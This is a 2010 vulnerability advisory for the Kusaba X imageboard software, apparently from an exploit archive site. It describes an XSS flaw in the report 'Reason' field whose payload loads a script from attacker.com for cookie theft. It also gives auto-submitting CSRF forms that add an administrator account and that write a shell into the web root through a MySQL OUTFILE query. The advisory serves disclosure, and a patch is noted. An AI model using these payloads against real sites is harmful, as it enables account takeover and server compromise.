what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Kusaba X 0.9 Cross Site Scripting / Cross Site Request Forgery

Kusaba X 0.9 Cross Site Scripting / Cross Site Request Forgery
Posted Feb 20, 2010
Authored by systemx00

Kusaba X versions 0.9 and below suffer from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
SHA-256 | 0efffad24e809213a0331fc3b194aaf3bf0e78a066842acb193fa4966352556b

Kusaba X 0.9 Cross Site Scripting / Cross Site Request Forgery

Change Mirror Download
==========================================
Kusaba X <= 0.9 XSS/CSRF vulnerabilities
==========================================

Kusaba X suffers XSS and CSRF vulnerabilities that would allow an attacker to take over the web application and possibly the entire server (depending on the MySQL configuration). The XSS vulnerability is not required to exploit the CSRF but makes the proccess very easy.


XSS:
==========================================
The “Reason” field in the report function doesn't sanitize user input. The input size is limited to 256 characters, (pleanty for exploitation, but not enough for a textwall of CSRF forms). This can be circumvented by including off-site javascripts, i.e. <script src="http://attacker.com/asdf.js"></script>. (iframes work too) The injected script will render and execute when a Moderator or Administrator views the reports. If a Moderator falls victim, the worst case scenario would be cookie stealing followed by session hijacking and account theft. If an Administrator were to view the malicious report, much more is possible. It would be easy to detect the difference and act accordingly, making this attack more effective.
==========================================

CSRF:
==========================================
These run rampent throughout the application. Here are two of the most severe but there's lots of fun to be had.

1. Add administrative accouts…

<form action="http://example.chan/manage_page.php?action=staff&add" method="POST">
<input name="username" value="user123" />
<input name="password" value="pass123" />
<input name="type" value="1" />
</form>
<script>document.forms[0].submit();</script>

2. Execute MySQL queries…

<form action="http://example.chan/manage_page.php?action=sql" method="POST">
<input name="query" value="SELECT 'your-shell-here' INTO OUTFILE '/path/to/www';" />
</form>
<script>document.forms[0].submit();</script>
===========================================

Feb 9, 2010 - Reported to Kusaba X dev team.
Feb 15, 2010 - Kusaba X 0.9.1 released containing patch.
Feb 17, 2010 - Info released

~~Thanks to Sazpaimon
~~Greetz to the open source community
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close